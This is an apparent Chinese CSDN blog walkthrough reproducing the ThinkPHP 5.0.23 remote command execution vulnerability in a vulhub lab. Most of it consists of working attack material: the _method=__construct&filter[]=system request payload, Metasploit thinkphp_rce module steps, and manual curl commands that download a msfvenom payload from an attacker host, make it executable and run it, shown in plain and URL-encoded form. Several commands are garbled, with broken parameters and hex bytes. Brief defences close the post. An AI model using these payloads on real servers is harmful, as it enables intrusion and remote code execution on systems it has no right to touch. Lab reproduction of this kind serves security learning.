thinkphp漏洞复现

本文详细描述了ThinkPHP框架5.0.23及以下版本的远程命令执行漏洞,涉及方法名处理不当导致的攻击,通过构造payload实现数据库和服务器操作。作者演示了漏洞复现步骤,包括利用msf工具,以及提供手动利用和防御建议,如升级并打补丁过滤恶意输入。
摘要由CSDN通过智能技术生成

仅供学习使用!!!

thinkphp 远程命令执行漏洞php的一个开发框架,5.0.23及以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行

sq1 注入 恶意构造的语句在数据库里面执行从而获取了数据

Rce 恶意构迷的语句在服务器(系统)上执行,从而达到黑客控制服务器的目的

类:方法的集合

方法:函数

函数:一串按照顺序和一定逻辑执行的代码

一、启动靶场

vulhub-master/thinkphp/

启动

docker-compose up -d

浏览器访问:http://192.168.59.10:8080/

  • 通过教程复现漏洞

application/x-www-form-urlencoded

application/json

Basic

浏览器访问:http://192.168.59.10:8080/index.php?s=captcha

抓包修改为POST

指定类型Content-Type:application/x-www-form-urlencoded

增加请求体:

_method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

server[REQUEST_METHOD]表示要访问页面的请求方法

第二种方法:

_method= _construct&filter[]=system&method=get[]=ls

  • 利用msf复现

msfdb run

info

msf6 >use 0

msf6 exploit(unix/webapp/thinkphp_rce)>show options

msf6 exploit(unix/webapp/thinkphp_rce)>set rhosts 192.168.59.10

rhosts =>192.168.59.10

msf6 exploit(unix/webapp/thinkphp_rce)>set lhost 192.168.59.6

lhost =>192.168.59.6

msf6 exploit(unix/webapp/thinkphp_rce)>run

MSF实现直接获取权限原理

  1. 开启4444端口监听
  2. 检查有没有thinkphp漏洞
  3. 生成恶意程序
  4. 开放8080端口,可以让目标机从8080端口下载恶意程序
  5. 通过漏洞直接执行远程命令:

Curl -so /tmp/jGtAMkyrhttp://192.168.59.6:8080/VEJVQHJF2Y01;chmod +x/tmp/jGtAMkyr;/tmp/jGtAMkyr;rm-f/tmp/jGtAMkyr

  • 手工利用
  1. 生成恶意文件

msfvenom 5555

curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555

%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%3b%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter]=system&method=get&server [REQUEST_METHOD]=%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%26%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%36%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35"

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter[]=system&method=get&server[REQUEST METHOD]=curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555"

  • 防御方法
  1. 升级thinkphp组件
  2. 打补丁
  3. 对method和_method进行过滤
  • 18
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

什么都好奇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值